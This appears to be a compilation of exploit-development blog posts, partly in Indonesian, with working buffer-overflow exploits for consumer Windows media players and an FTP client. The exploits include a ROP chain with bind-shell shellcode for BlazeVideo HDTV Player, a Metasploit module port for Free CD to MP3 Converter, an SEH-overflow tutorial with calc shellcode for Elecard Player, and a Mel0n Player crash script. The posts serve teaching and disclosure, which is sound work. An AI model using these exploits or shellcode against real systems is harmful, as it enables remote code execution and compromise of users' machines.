BlazeVideo HDTV Player 6.x Buffer Overflow (another version)

Hi again, we tried to make a universal DEP and ASLR bypass version on BlazeVideo HDTV Player 6.x. This exploit is already public, but we just want to make it universal.

Take a look at mona.py 🙂 awesome tool developed by corelanc0d3r and his team
So here is the poc, it will bind to port 31337

#!/usr/bin/python

import struct
file = 'blazevideo-universal.plf'

totalsize = 5000
junk = 'A' * 872
align = 'B' * 136

#we don't need nseh
seh = '\x4a\x53\x30\x61'	# ADD ESP,800 # RETN
rop = '\x03\x60\x32\x61' * 10	# RETN (ROP NOP)
rop+= '\x7a\x34\x05\x64' 	# POP EDX # RETN
rop+= '\x08\x11\x01\x10'	# ptr to VirtualProtect()
rop+= '\x03\x05\x01\x64'	# PUSH EDX # POP EAX # POP ESI # RETN
rop+= '\x41\x41\x41\x41'	# Filler
rop+= '\x9f\x94\x60\x61'	# MOV ECX,DWORD PTR DS:[EDX] # POP SOMETHING
rop+= '\x41\x41\x41\x41' * 3	# Filler
rop+= '\x18\x42\x60\x61'	# PUSH ECX # ADD AL,5F # XOR EAX,EAX
rop+= '\x41\x41\x41\x41' * 3	# Filler
rop+= '\xa6\xd1\x03\x64'	# POP EBP # RETN
rop+= '\x41\x41\x41\x41' * 3	# Filler
rop+= '\x5A\x05\x61\x61'	# push esp #  ret 0c
rop+= '\xA8\x3E\x32\x61'	# POP EAX # RETN
rop+= '\x9D\x79\x39\xA1'	# 0x00000501-> ebx
rop+= '\xfc\x03\x02\x64' 	# ADD EAX,5EC68B64 # RETN
rop+= '\x7b\xd3\x63\x61'	# PUSH EAX # ADD AL,5E
rop+= '\x07\x68\x62\x61' 	# XOR EAX,EAX # RETN
rop+= '\xfc\x03\x02\x64' 	# ADD EAX,5EC68B64 # RETN
rop+= '\x7a\x34\x05\x64' 	# POP EDX # RETN
rop+= '\xDC\x74\x39\xA1'	# 0x00000040-> edx
rop+= '\xfb\x07\x31\x61' 	# ADD EDX,EAX # MOV EAX,EDX
rop+= '\xc0\x1f\x60\x61'	# POP ECX # RETN
rop+= '\x40\x03\x35\x60'	# Writable location
rop+= '\x07\x9e\x32\x61'	# POP EDI # RETN
rop+= '\x03\x60\x32\x61'	# RETN (ROP NOP)
rop+= '\x95\x65\x60\x61'	# POP EAX # RETN
rop+= '\x90\x90\x90\x90'	# nop
rop+= '\xF1\x0C\x62\x61'	# PUSHAD # RETN

nop = '\x90' * 32

# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=31337, RHOST=, EXITFUNC=process, 

shellcode = (
"\xdd\xc1\xd9\x74\x24\xf4\xbb\xc4\xaa\x69\x8a\x58\x33\xc9\xb1"
"\x56\x83\xe8\xfc\x31\x58\x14\x03\x58\xd0\x48\x9c\x76\x30\x05"
"\x5f\x87\xc0\x76\xe9\x62\xf1\xa4\x8d\xe7\xa3\x78\xc5\xaa\x4f"
"\xf2\x8b\x5e\xc4\x76\x04\x50\x6d\x3c\x72\x5f\x6e\xf0\xba\x33"
"\xac\x92\x46\x4e\xe0\x74\x76\x81\xf5\x75\xbf\xfc\xf5\x24\x68"
"\x8a\xa7\xd8\x1d\xce\x7b\xd8\xf1\x44\xc3\xa2\x74\x9a\xb7\x18"
"\x76\xcb\x67\x16\x30\xf3\x0c\x70\xe1\x02\xc1\x62\xdd\x4d\x6e"
"\x50\x95\x4f\xa6\xa8\x56\x7e\x86\x67\x69\x4e\x0b\x79\xad\x69"
"\xf3\x0c\xc5\x89\x8e\x16\x1e\xf3\x54\x92\x83\x53\x1f\x04\x60"
"\x65\xcc\xd3\xe3\x69\xb9\x90\xac\x6d\x3c\x74\xc7\x8a\xb5\x7b"
"\x08\x1b\x8d\x5f\x8c\x47\x56\xc1\x95\x2d\x39\xfe\xc6\x8a\xe6"
"\x5a\x8c\x39\xf3\xdd\xcf\x55\x30\xd0\xef\xa5\x5e\x63\x83\x97"
"\xc1\xdf\x0b\x94\x8a\xf9\xcc\xdb\xa1\xbe\x43\x22\x49\xbf\x4a"
"\xe1\x1d\xef\xe4\xc0\x1d\x64\xf5\xed\xc8\x2b\xa5\x41\xa2\x8b"
"\x15\x22\x12\x64\x7c\xad\x4d\x94\x7f\x67\xf8\x92\xb1\x53\xa9"
"\x74\xb0\x63\x37\xec\x3d\x85\xad\xfe\x6b\x1d\x59\x3d\x48\x96"
"\xfe\x3e\xba\x8a\x57\xa9\xf2\xc4\x6f\xd6\x02\xc3\xdc\x7b\xaa"
"\x84\x96\x97\x6f\xb4\xa9\xbd\xc7\xbf\x92\x56\x9d\xd1\x51\xc6"
"\xa2\xfb\x01\x6b\x30\x60\xd1\xe2\x29\x3f\x86\xa3\x9c\x36\x42"
"\x5e\x86\xe0\x70\xa3\x5e\xca\x30\x78\xa3\xd5\xb9\x0d\x9f\xf1"
"\xa9\xcb\x20\xbe\x9d\x83\x76\x68\x4b\x62\x21\xda\x25\x3c\x9e"
"\xb4\xa1\xb9\xec\x06\xb7\xc5\x38\xf1\x57\x77\x95\x44\x68\xb8"
"\x71\x41\x11\xa4\xe1\xae\xc8\x6c\x11\xe5\x50\xc4\xba\xa0\x01"
"\x54\xa7\x52\xfc\x9b\xde\xd0\xf4\x63\x25\xc8\x7d\x61\x61\x4e"
"\x6e\x1b\xfa\x3b\x90\x88\xfb\x69")

sisa = 'C' * (totalsize - len(seh+rop+nop+shellcode))
payload = junk+seh+align+rop+nop+shellcode+sisa

f = open(file,'w')
print "Author: modpr0be"
f.write(payload)
print "File",file, "successfully created"
f.close()

here is the result, tested on Windows 7 SP1:

Porting Your Exploit to Metasploit

Beberapa waktu yang lalu saya udah memberikan tutorial basic exploit development (direct return technique) dan exploit development berbasis SEH. Sekarang mari kita porting exploit tersebut ke Metasploit Framework agar exploit tersebut semakin reliable dan bisa menggunakan macam-macam payload, fitur-fitur canggih yang ada di Metasploit.

Kita akan meng-konversi exploit yang pertama, yaitu Free CD to MP3 Converter. Sebelum itu, kita kumpulkan poin-poin penting yang membuat exploit tersebut berjalan dengan baik, seperti berikut:

junk = "\x41" * 4112                   # jumlah sampah yang dikirim
eip = "\x91\x3b\x43\x00"               # 0x00463b91 FFE4 JMP ESP at cdextract.exe
nops = "\x90" * 16
espdata = "\x90" * (5000 - len(junk+eip+nops)

Dulu saya melakukan proses exploit Free CD to MP3 Converter pada sistem Windows XP SP3 versi NIST FDCC (Federal Desktop Core Configuration), tapi kali ini saya melakukannya pada sistem Windows XP SP3 versi umum, seharusnya ini tidak akan menjadi masalah berarti karena alamat JMP ESP yang saya gunakan kali ini berasal dari module cdextract.exe.

Kita akan coba langsung meng-konversi exploit Free CD to MP3 Converter ke format Metasploit, dan akan saya jelaskan bagian-bagian yang penting. Karena proses eksploitasi Free CD to MP3 Converter menggunakan sebuah file wav (sehingga dikategorikan sebagai file format exploit), maka kita akan menggunakan salah satu exploit dari Metasploit sebagai template, yaitu a-pdf_wav_to_mp3.rb terdapat pada direktori /opt/framework/msf3/modules/exploits/windows/fileformat/

##
# $Id: a-pdf_wav_to_mp3.rb 12196 2011-04-01 00:51:33Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3  'A-PDF WAV to MP3 v1.0.0 Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in A-PDF WAV to MP3 v1.0.0. When
        the application is used to import a specially crafted m3u file, a buffer overflow occurs
        allowing arbitrary code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'd4rk-h4ck3r', # Original Exploit
          'Dr_IDE',      # SEH Exploit
          'dookie'       # MSF Module
        ],
      'Version'        => '$Revision: 12196 $',
      'References'     =>
        [
          [ 'OSVDB', '67241' ],
          [ 'URL', 'http://www.exploit-db.com/exploits/14676/' ],
          [ 'URL', 'http://www.exploit-db.com/exploits/14681/' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
          'DisablePayloadHandler' => 'true',
        },
      'Payload'        =>
        {
          'Space'    => 600,
          'BadChars' => "\x00\x0a",
          'StackAdjustment' => -3500
        },
       'Platform' => 'win',
       'Targets'        =>
            [
              [ 'Windows Universal', { 'Ret' => 0x0047265c, 'Offset' => 4132 } ],     # p/p/r in wavtomp3.exe
            ],
       'Privileged'     => false,
       'DisclosureDate' => 'Aug 17 2010',
       'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.wav']),
      ], self.class)

  end

  def exploit

    sploit = rand_text_alpha_upper(target['Offset'])
    sploit << generate_seh_payload(target.ret)

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(sploit)

  end

end

Bagian yang perlu diperhatikan adalah:

  • include Msf::Exploit::FILEFORMAT

    bagian ini menandakan bahwa exploit ini termasuk dalam fileformat exploit.

  • Payload

    bagian ini berisi space, badchars, dll

  • Targets

    bagian ini berisi offset

  • def exploit

    bagian ini berisi urutan eksploitasi.

Mari kita gabungkan informasi yang kita miliki diawal kedalam contoh exploit yang sudah ada.

##

##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3  'Free CD to MP3 Converter 3.1 Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in Free CD to MP3 Converter 3.1. When
        the application is used to import a specially crafted m3u file, a buffer overflow occurs
        allowing arbitrary code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'C4SS!0 G0M3S', # Original Exploit
          'modpr0be'       # MSF Module
        ],
      'References'     =>
        [
          [ 'OSVDB', '69116' ],
          [ 'URL', 'http://www.exploit-db.com/exploits/15480/' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => 'true',
        },
      'Payload'        =>
        {
          'Space'    => 800,
          'BadChars' => "\x00\x0a\x1a\x0f",
          'StackAdjustment' => -3500
        },
       'Platform' => 'win',
       'Targets'        =>
            [
              [ 'Windows XP Universal', {
                    'Ret' => 0x00463B91,     # perintah JMP ESP yang akan menimpa EIP.
                    'Offset' => 4112 } ],    # jmp esp in cdextract.exe, jumlah offset yang dicapai untuk menimpa EIP
            ],
       'Privileged'     => false,
       'DisclosureDate' => 'Nov 10 2010',
       'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.wav']),
      ], self.class)

  end

  def exploit

    sploit = rand_text_alpha(target['Offset'])
    sploit << [target.ret].pack('V')
    sploit << make_nops(32)
    sploit << payload.encoded
    sploit < 0x00463B91

adalah perintah JMP ESP yang akan menimpa EIP.

Offset => 4112

adalah jumlah offset yang dicapai untuk menimpa EIP 🙂

Lalu bagian paling penting dari script tersebut, yaitu def exploit;

rand_text_alpha(target['Offset']

bagian ini adalah function dari Metasploit untuk men-generate sejumlah karakter alphanumeric sesuai dengan Offset yang telah kita tentukan di option Target sebelumnya. Setelah offset memenuhi stack dengan jumlah 4112 bytes, maka kita juga sudah tahu bahwa setelah itu EIP akan tertimpa sebanyak 4 bytes, sehingga option berikutnya [target.ret].pack(‘V’) memanggil alamat Ret => 0x00463B91 yang telah kita tentukan sebelumnya dan segera menimpa EIP. Setelah itu

make_nops(32)

akan menciptakan Nopsled sebanyak 32 bytes agar menjadi ‘landasan kosong’ sebelum mencapai shellcode. Bagian berikutnya,

payload.encoded

adalah function dari Metasploit untuk men-generate payload yang biasa kita gunakan pada Metasploit (misal: set payload windows/shell_bind_tcp). Terakhir, saya menambahkan Nopsled untuk melengkapi buffer yang saya kirim sebelumnya agar mencapai 5000 bytes (sesuai dengan buffer yang saya kirim sebelumnya). Lalu function

file_create(sploit)

menulis variable sploit dan menciptakan file msf.wav.

Simpan file diatas dengan nama freecdmp3_bof.rb dan copy ke folder /opt/framework/msf3/modules/exploits/windows/fileformat/ agar dapat digunakan oleh Metasploit. Berikut penggunaannya pada msfconsole:

       =[ metasploit v4.0.1-dev [core:4.0 api:1.0]
+ -- --=[ 738 exploits - 376 auxiliary - 82 post
+ -- --=[ 228 payloads - 27 encoders - 8 nops
       =[ svn r13774 updated yesterday (2011.09.22)

msf > use exploit/windows/fileformat/freecdmp3_bof
msf  exploit(freecdmp3_wav) > info

       Name: Free CD to MP3 Converter 3.1 Buffer Overflow
     Module: exploit/windows/fileformat/freecdmp3_bof
    Version: 0
   Platform: Windows
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  C4SS!0 G0M3S
  modpr0be

Available targets:
  Id  Name
  --  ----
  0   Windows XP Universal

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  FILENAME  msf.wav          no        The file name.

Payload information:
  Space: 800
  Avoid: 4 characters

Description:
  This module exploits a buffer overflow in Free CD to MP3 Converter
  3.1. When the application is used to import a specially crafted wav
  file, a buffer overflow occurs allowing arbitrary code execution.

References:
  http://www.osvdb.org/69116
  http://www.exploit-db.com/exploits/15480/

msf  exploit(freecdmp3_bof) > set payload windows/shell_bind_tcp
payload => windows/shell_bind_tcp
msf  exploit(freecdmp3_bof) > set lport 4321
lport => 4321
msf  exploit(freecdmp3_bof) > exploit 

[*] Creating 'msf.wav' file ...
[*] Generated output file /home/tom/.msf4/data/exploits/msf.wav
msf  exploit(freecdmp3_bof) >

Dan ketika di load oleh program Free CD to MP3 Converter, sekilas program akan terlihat ‘hang’ tapi jika kita lihat melalui netstat:

Terdapat port 4321 yang sedang LISTENING. Dan ketika kita melakukan koneksi ke port tersebut:

Kita berhasil mengkonversi exploit yang sudah ada ke dalam Metasploit. Sekarang coba porting exploit berbasis SEH yang kemarin sudah kita kerjakan sama-sama. Selamat mencoba!

ScriptFTP <=3.3 Remote Buffer Overflow Exploit (0day)

ScriptFTP client is vulnerable against remote buffer overflow vulnerability. The condition is triggered while processing LIST FTP command with excessive length.

The vulnerability is confirmed in version 3.3. Other version may also be affected.

Software Description

ScriptFTP is a FTP client designed to automate file transfers. It follows the commands written on a text file (also called script file) and makes the uploads or downloads automatically. Writing the script file is very easy, take a look at the script samples section.

Crash/Exploit Information

ScriptFTP follows the commands written on a text file (also called script file). Specifically, processing ScriptFTP with text file/script file contains command GETLIST or GETFILE of 3000 or more bytes of data may trigger an exception within the client, causing it to crash and lead us to stack overflow.

Proof of Concept

See the POC here and the script to generate ScriptFTP script here. Or if you were too lazy to generate the script, I already prepared it for you, just change the IP address.

Fix and Update

Vendor contacted and responded immediately after our first contact. They are planning to major rewrite but until now, no further info received from them. Do not connect to untrusted FTP server. Fix or update is not available yet, we will update this post if the vendor fix the bug.

Vendor Contact Log:
01/21/2011: Bug found
01/22/2011: Vendor contacted
01/24/2011: Vendor replied
03/07/2011: Update status to vendor
04/06/2011: Vendor received POC
05/17/2011: No further info, 1st reminder sent.
09/11/2011: No further info, 2nd reminder sent.
09/20/2011: No response, advisory released.

SEH Based Stack Overflow – The Basic

Kali ini saya akan coba tehnik lain dari stack overflow, yaitu stack overflow berbasis SEH. Apa itu SEH? silakan dibaca diliteratur-literatur berikut:

Structured Exception Handling
Win32 Exception handling for assembler programmers

Tidak ada yang lebih menyenangkan daripada belajar sambil mencoba. Kita akan mencoba SEH based stack overflow pada program yang pernah di post oleh sickness, yaitu Elecard AVC_HD/MPEG Player. Program Elecard AVC_HD/MPEG Player versi 5.7 menderita buffer overflow ketika mencoba load file .m3u yang ditambahkan sejumlah karakter. Percobaan ini akan dilakukan pada sistem Windows XP SP3 dan menggunakan program seperti pada exploit yang di gunakan oleh sickness, jadi silakan download dulu programnya:

Download Elecard AVC_HD/MPEG Player (via ExploitDB)

Saya berasumsi bahwa teman-teman sudah membaca tulisan saya sebelumnya Exploit Development: Basic Stack-based Overflow sehingga sudah tahu apa yang perlu dipersiapkan. Secara teori, SEH based overflow memerlukan trik khusus karena kita berhadapan dengan Exception Handling. Ketika program crash (karena buffer overflow), EIP tidak langsung tertimpa dengan buffer/junk yang kita kirim, tapi mengarahkan kita ke exception handling. Kita hanya perlu memastikan bahwa alamat SE Handler juga tertimpa dengan buffer yang kita kirimkan, sehingga ketika exception handling diteruskan, maka akan membawa kita ke EIP. Kedengarannya sangat rumit, tapi tenang, semuanya akan terlihat lebih mudah apabila mencoba langsung.

Confirm the BUG and Adjust the Enemy Line

Setelah diinstall, jalankan Elecard AVC_HD/MPEG Player dan attach ke Immunity Debugger. Lalu kita buat script yang membuat Elecard AVC_HD/MPEG Player crash.

#!/usr/bin/python

file = 'crash-elecard.m3u'
header = '#EXTM3U'
junk = 'A' * 25000

f = open(file,'w')
print "Payload size: ", len(header+junk)
f.write(header+junk)
print "File",file, "successfully created"
f.close()

Jalankan scriptnya dan buka dengan Elecard AVC_HD/MPEG Player. Perhatikan apa yang terjadi pada debugger.

Terlihat bahwa register EBP dan ESI tertimpa dengan 0x41414141, artinya saat ini buffer kita ada di kedua register tersebut. Tekan Alt-S untuk melihat window SEH Chain dan terlihat SE Handler tertimpa juga dengan 0x41414141.

Selanjutnya kita harus mencari jumlah byte yang tepat untuk menimpa alamat SE Handler (masih ingat tutorial sebelumnya?!). Kita dapat menggunakan program Metasploit untuk melakukan hal tersebut (good exercise right?!).

POP POP RETN, is it for our movie?

Setelah itu kita perlu mencari deretan perintah (sequence of commands) POP [REG]+POP [REG]+RETN dan melanjutkan exception sehingga program akan mengarah pada deretan perintah POP [REG]+POP [REG]+RETN. Mengapa kita perlu deretan perintah tersebut? Kalau saya jelaskan sekarang nanti tambah rumit, lebih baik saya jelaskan sambil mencoba.

Kita bisa mencari alamat POP [REG]+POP [REG]+RETN dengan perintah Ctrl+S dan menuliskan sebagai berikut:

dan menemukan alamat POP EDI + POP EBX + RETN pada alamat 0x7394D3D2 (module D3DIM700.dll) berikut:

Kita update script skeleton exploit yang sudah kita buat:

#!/usr/bin/python

file = 'crash-elecard.m3u'
header = '#EXTM3U'
junk = 'A' * 4 + 'C' * 4 + '\xD2\xD3\x94\x73' + 'D' * 24988

f = open(file,'w')
print "Payload size: ", len(junk)
f.write(header+junk)
print "File",file, "successfully created"
f.close()

Jalankan lagi exploit diatas, (masih ingat kenapa alamat POP POP RET ditulis terbalik?!) jalankan juga program Elecard AV_HD/MPEG Player dan attach ke debugger. Load lagi file .m3u tersebut dan kali ini perhatikan pada SE Handler:

Lakukan Breakpoint dengan menekan F2 pada alamat tersebut, lalu tekan Shift+F9 untuk meneruskan exception. Dapat terlihat bahwa EIP sekarang terisi oleh alamat POP [REG]+ POP [REG] + RETN yang telah kita tentukan, dan aliran eksekusi program sekarang berubah ke alamat POP EDI + POP EBX + RETN (perhatikan bahwa nilai EIP saat ini sama dengan nilai pada alamat POP EDI + POP EBX + RETN)

Perhatikan, register ESP tidak menunjuk pada stack, sementara kita membutuhkan ESP untuk menunjuk ke alamat stack agar kita bisa mengeksekusi shellcode nanti. Lalu apa yang bisa kita perbuat? jika kita perhatikan, pada baris ketiga jendela stack, terdapat alamat yang merujuk pada buffer yang kita kirimkan sebelumnya, yaitu 0x0012C73C, hey! bukankah itu alamat Next SEH (Pointer to Next SEH)?! Lalu bagaimana caranya agar ESP menunjuk ke alamat tersebut?

Disinilah peran POP EDI + POP EBX + RETN. Perintah POP EDI akan mengambil baris pertama pada stack kedalam register EDI, perintah POP EBX juga mengambil alamat pada baris kedua dalam stack ke dalam register EBX , selanjutnya perintah RETN akan kembali menunjuk pada ESP , Voila! Sampailah kita pada alamat buffer yang kita kirimkan sebelumnya.

Pada saat ini, register EIP pun menunjuk ke alamat baru, yaitu 0x0012C73C, perlu diingat bahwa ini adalah alamat Next SEH dan EIP menunjuk perintah selanjutnya yaitu, 0x43434343 pada alamat 0x0012C73C.

Sejauh ini, dapat kita simpulkan sebagai berikut:

Alamat 0x0012C740 adalah alamat SE Handler, sedangkan pada alamat 0x0012C744 (yang berisi karakter ‘D’) merupakan buffer yang bisa kita gunakan untuk mengeksekusi shellcode. Terdapat masalah disini, karena kita harus melewati alamat SE Handler yang berisi perintah RCL BL, CL, XCHG EAX, ESP dan JNB SHORT 0012C789, kenapa perlu dilewati? karena berpotensi merusak proses yang sudah kita kerjakan sejauh ini 🙂

Bagaimana caranya?

JMP SHORT 0xDREAMLAND

Salah satu tehnik yang bisa digunakan adalah short jump, literatur short jump bisa dilihat pada website berikut: Using SHORT (Two-byte) Relative Jump Instructions

Kita akan lompat sejauh 8 bytes dari posisi terakhir 0x0012C73C, sehingga akan mendarat pada alamat 0x0012C746. Kita update lagi script skeleton exploit:

#!/usr/bin/python

file = 'crash-elecard.m3u'
header = '#EXTM3U'
junk = 'A' * 4 + '\xeb\x08\x90\x90' + '\xD2\xD3\x94\x73' + 'D' * 24988

f = open(file,'w')
print "Payload size: ", len(junk)
f.write(header+junk)
print "File",file, "successfully created"
f.close()

Perhatikan bahwa saya menambah alamat ‘\xeb\x08\x90\x90’, yaitu untuk loncat sejauh 8 bytes, sedangkan ‘\x90’ adalah nop untuk melengkapi 2 bytes agar tidak terisi dengan ‘\x00’. Jalankan script tersebut, lalu load lagi file m3u-nya. Lakukan breakpoint pada alamat SE Handler, lalu teruskan exception dengan menekan Shift+F9. Lalu tekan F7 untuk Follow perintah POP EDI, POP EBX, dan RETN. Perhatikan ketika RETN terjadi, alamat EIP merujuk kembali ke alamat 0x0012C73C dan pada alamat tersebut sudah menunggu perintah JMP SHORT yang telah kita tentukan tadi (\xeb\x08\x90\x90), tekan F7 untuk Follow dan perhatikan:

Alamat EIP mendarat tepat pada alamat 0x0012C746 yang berarti kita telah melewati alamat SE Handler. Apabila karakter ‘D’ (\x44) kita ganti dengan shellcode, maka shellcode akan tereksekusi setelahnya.

Finalized the Exploit

Mari kita ganti karakter ‘D’ yang kita gunakan sebagai junk dengan shellcode, saya akan menggunakan shellcode untuk memanggil program Calculator (calc.exe), dan kita rapikan skeleton exploit yang sudah kita buat sejauh ini:

#!/usr/bin/python

file = 'crash-elecard.m3u'
header = '#EXTM3U'

# msfpayload windows/exec cmd=calc R |
# msfencode -a x86 -b "\x00\x0a\x0d\x25\x68\x08\x20" -t c
# x86/call4_dword_xor succeeded with size 220 (iteration=1)
shellcode = ("\x2b\xc9\x83\xe9\xcf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
"\xeb\x9c\x9e\xf1\x83\xee\xfc\xe2\xf4\x17\x74\x17\xf1\xeb\x9c"
"\xfe\x78\x0e\xad\x4c\x95\x60\xce\xae\x7a\xb9\x90\x15\xa3\xff"
"\x17\xec\xd9\xe4\x2b\xd4\xd7\xda\x63\xaf\x31\x47\xa0\xff\x8d"
"\xe9\xb0\xbe\x30\x24\x91\x9f\x36\x09\x6c\xcc\xa6\x60\xce\x8e"
"\x7a\xa9\xa0\x9f\x21\x60\xdc\xe6\x74\x2b\xe8\xd4\xf0\x3b\xcc"
"\x15\xb9\xf3\x17\xc6\xd1\xea\x4f\x7d\xcd\xa2\x17\xaa\x7a\xea"
"\x4a\xaf\x0e\xda\x5c\x32\x30\x24\x91\x9f\x36\xd3\x7c\xeb\x05"
"\xe8\xe1\x66\xca\x96\xb8\xeb\x13\xb3\x17\xc6\xd5\xea\x4f\xf8"
"\x7a\xe7\xd7\x15\xa9\xf7\x9d\x4d\x7a\xef\x17\x9f\x21\x62\xd8"
"\xba\xd5\xb0\xc7\xff\xa8\xb1\xcd\x61\x11\xb3\xc3\xc4\x7a\xf9"
"\x77\x18\xac\x81\x9d\x13\x74\x52\x9c\x9e\xf1\xbb\xf4\xaf\x7a"
"\x84\x1b\x61\x24\x50\x6c\x2b\x53\xbd\xf4\x38\x64\x56\x01\x61"
"\x24\xd7\x9a\xe2\xfb\x6b\x67\x7e\x84\xee\x27\xd9\xe2\x99\xf3"
"\xf4\xf1\xb8\x63\x4b\x92\x8a\xf0\xfd\xf1")

junk = 'A' * 4
nseh = '\xeb\x08\x90\x90'
seh = '\xD2\xD3\x94\x73'
nops = '\x90' * 16
sisa = 'D' * (20000 - len(junk+nseh+seh+nops+shellcode))

payload = header+junk+nseh+seh+nops+shellcode+sisa

f = open(file,'w')
print "Payload size: ", len(payload)
f.write(payload)
print "File",file, "successfully created"
f.close()

Dan hasilnya:

Eksploitasi berbasis SEH berhasil kita lakukan. Akan tidak mudah memahaminya dalam satu kali putaran (jika ada yang bisa, saya salut dengan Anda karena saya sendiri perlu 2-3 kali percobaan baru paham :D), dan percobaan ini bisa menjadi dasar latihan untuk aplikasi yang lain, biar semakin mahir dan terasah.

Akhir kata, selamat mencoba 🙂

Referensi

Mel0nPlayer 1.0.11.x Denial of Service POC

Software Description

Mel0n Player is a famous software in Indonesia to play music that are provided by the Melon portal (http://www.melon.co.id). This software can play any music file types such as mp3, wav, wma, mp4, and others. This player can also play the files on your local computer or by online streaming to the portal Melon. The songs can also be downloaded to your local computer.

Vulnerable Information

The main program (IDMelonPlayer.exe) suffers from a buffer overflow vulnerability when opening p_about.ini file (Note: Actually, p_about.ini is a configuration file as part of skin template. This file will bring the program information and can be accessed on the menu (Menu → Information)), as a result of adding extra bytes to parts of the file (Text section), giving the attackers possibility to run an arbitrary code execution on the system that install Melon Player.

This is just the POC, it will just crash the program..

How to reproduce the vulnerability

Just run this code, open MelonPlayer –> Go to Menu –> Information –> Boom!

#!/usr/bin/python

import os,sys,shutil,time

header=("""[MAIN]
MainStyle=SKIN
Resize=NO
Mask=YES
BGStyle=IMAGE
DefSize=0,0,427,136
Image=skin.bmp
Button=2
Slider=
Static=1
Text=4
Edit=
Combo=

[MAINBG]
TopLeft=145,389,6,21
TopCenter=153,389,11,21
TopRight=166,389,6,21
MiddleLeft=145,412,6,21
MiddleCenter=153,412,11,21
MiddleRight=166,412,6,21
BottomLeft=145,435,6,34
BottomCenter=153,435,11,34
BottomRight=166,435,6,34

[MAINMASK]
TopLeft=174,389,10,10
TopCenter=185,389,10,10
TopRight=196,389,10,10
MiddleLeft=185,389,10,10
MiddleCenter=185,389,10,10
MiddleRight=185,389,10,10
BottomLeft=174,400,10,10
BottomCenter=185,389,10,10
BottomRight=196,400,10,10

[BUTTON_1]
Name=??
ID=1001
ResizeStyle=TOP_LEFT
Tooltip=
CheckBox=FALSE
Position=410,4,13,13
NormalRect=223,389,13,13
OverRect=238,389,13,13
DownRect=253,389,13,13
DisabledRect=223,389,13,13
MaskRect=2000,0,13,13

[BUTTON_2]
Name=??
ID=1002
ResizeStyle=TOP_LEFT
Tooltip=
CheckBox=FALSE
Position=173,105,80,20
NormalRect=0,763,80,20
OverRect=0,763,80,20
DownRect=81,763,80,20
DisabledRect=162,763,80,20
MaskRect=2000,0,80,20

[STATIC_1]
Name=???_??
ID=2001
Position=20,31,72,84
TopLeft=14,478,72,84
TopCenter=
TopRight=
MiddleLeft=
MiddleCenter=
MiddleRight=
BottomLeft=
BottomCenter=
BottomRight=

[TEXT_1]
Name=popup Name sdw
ID=3701
Position=2,2,420,14
Text=MelOn Player
Font=Arial
FontSize=12
FontBold=
Align=CENTER
FontColor=0,0,0
""")

footer=("""
[TEXT_3]
Name=????
ID=3703
Position=104,50,243,14
Text=Melon Player Version 1.0.0.101102
Font=Arial
FontSize=12
FontBold=
Align=
FontColor=0,0,0

[TEXT_4]
Name=Copyright
ID=3704
Position=104,72,303,14
Text=Copyright PT. Melon Indonesia. All Right Reserved.
Font=Arial
FontSize=12
FontBold=
Align=
FontColor=0,0,0
""")

filename="p_about.ini"
splash=os.path.abspath(filename)
skindir="C:Program FilesMelonPlayerIDSkin"

junk = "A" * 3000

buggy=("""
[TEXT_2]
Name=popup Name
ID=3702
Position=3,3,420,14
Text="""+junk+ """
Font=Arial
FontSize=12
FontBold=
Align=CENTER
FontColor=170,170,170rn""")

banner=("""
[*] MelOnPlayer 1.0.11.x Denial of Service POC
[*] modpr0be[at]spentera[dot]com.
[*] thanks a lot: cyb3r.anbu | otoy
=====================================================
""")

file=open(filename,'w')
if os.name == 'nt':
	if os.path.isdir(skindir):
		try:
			file.write(header+buggy+footer)
			print banner
			print "[*] Creating the malicious .ini file.."
			time.sleep(2)
			print "[*] Malicious file (POC)",filename,"created.."
			print "[*] Path:",splash
			file.close()
			shutil.copy2(splash,skindir)
			print "[*] File",filename,"has been copied to",skindir
		except IOError:
			print "[-] Could not write to destination folder, check permission.."
			sys.exit()
	else:
		print "[-] Could not find Skin directory, is MelOn Player installed?"
		sys.exit()
else:
	print "[-] Please run this script on Windows."
	sys.exit()

Working exploit can be found here:
https://github.com/modpr0be/exploit-dev/tree/master/exploit-repo/melonplayer

Useful Addresses When Dealing with ROP

Saya nulis ini supaya ga lupa. Sebenarnya bisa dicari lagi sih alamat ini, cuma lebih enak klo udah ada disini tanpa nyari lagi khan?!.

Sejumlah alamat yang dipake untuk tehnik ROP, sbb:

VirtualAlloc()

Secara sederhana, fungsi VirtualAlloc() akan mengalokasikan memory baru. Salah satu dari parameter di fungsi ini yang bisa membuat memory yang baru bisa memiliki opsi eksekusi dan baca-tulis. Untuk itu, tujuan utama di fungsi ini adalah memastikan nilai EXECUTE_READWRITE sesuai.

Pada Windows XP SP3, VirtualAlloc() ada di alamat 0x7C809AF1 (kernel32.dll), sedangkan di Windows 7, terdapat pada alamat 0x75C57A4F (kernel32.dll).

Info: http://msdn.microsoft.com/en-us/library/aa366887(VS.85).aspx

HeapCreate()

Membuat memory heap baru yang dapat digunakan oleh shellcode kita. Fungsi ini mengalokasikan sebuah ruang pada ruang virtual address (virtual address space) dari proses yang bersangkutan.

